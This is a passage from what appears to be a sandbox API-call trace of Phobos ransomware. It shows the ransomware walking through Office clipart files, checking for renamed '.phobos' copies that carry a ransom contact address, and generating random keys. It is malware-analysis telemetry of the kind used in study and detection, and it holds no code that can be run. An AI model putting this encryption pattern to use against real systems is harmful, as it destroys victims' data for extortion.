office\\root\\clipart\\pub60cor\\j0107134.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.621] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.622] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17200) returned 1 [0150.622] CloseHandle (hObject=0x580) returned 1 [0150.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220 [0150.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.622] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.623] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14996) returned 1 [0150.623] CloseHandle (hObject=0x580) returned 1 [0150.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220 [0150.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.623] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.624] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=20136) returned 1 [0150.624] CloseHandle (hObject=0x580) returned 1 [0150.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220 [0150.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.625] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.625] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13456) returned 1 [0150.625] CloseHandle (hObject=0x580) returned 1 [0150.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220 [0150.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.626] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.626] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=22532) returned 1 [0150.626] CloseHandle (hObject=0x580) returned 1 [0150.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220 [0150.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.626] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.627] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=22300) returned 1 [0150.627] CloseHandle (hObject=0x580) returned 1 [0150.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220 [0150.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.627] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.628] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24908) returned 1 [0150.628] CloseHandle (hObject=0x580) returned 1 [0150.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220 [0150.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.628] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.628] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16100) returned 1 [0150.628] CloseHandle (hObject=0x580) returned 1 [0150.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220 [0150.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.629] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.630] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4536) returned 1 [0150.630] CloseHandle (hObject=0x580) returned 1 [0150.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220 [0150.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.630] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.631] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9968) returned 1 [0150.631] CloseHandle (hObject=0x580) returned 1 [0150.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220 [0150.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.631] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.632] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=20212) returned 1 [0150.632] CloseHandle (hObject=0x580) returned 1 [0150.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220 [0150.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.632] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.633] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8552) returned 1 [0150.633] CloseHandle (hObject=0x580) returned 1 [0150.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220 [0150.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.633] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.633] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7996) returned 1 [0150.633] CloseHandle (hObject=0x580) returned 1 [0150.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220 [0150.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.634] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.731] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5272) returned 1 [0150.731] CloseHandle (hObject=0x564) returned 1 [0150.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220 [0150.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.732] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.732] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6024) returned 1 [0150.732] CloseHandle (hObject=0x564) returned 1 [0150.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220 [0150.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.733] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.735] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4980) returned 1 [0150.735] CloseHandle (hObject=0x564) returned 1 [0150.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220 [0150.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.735] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.736] 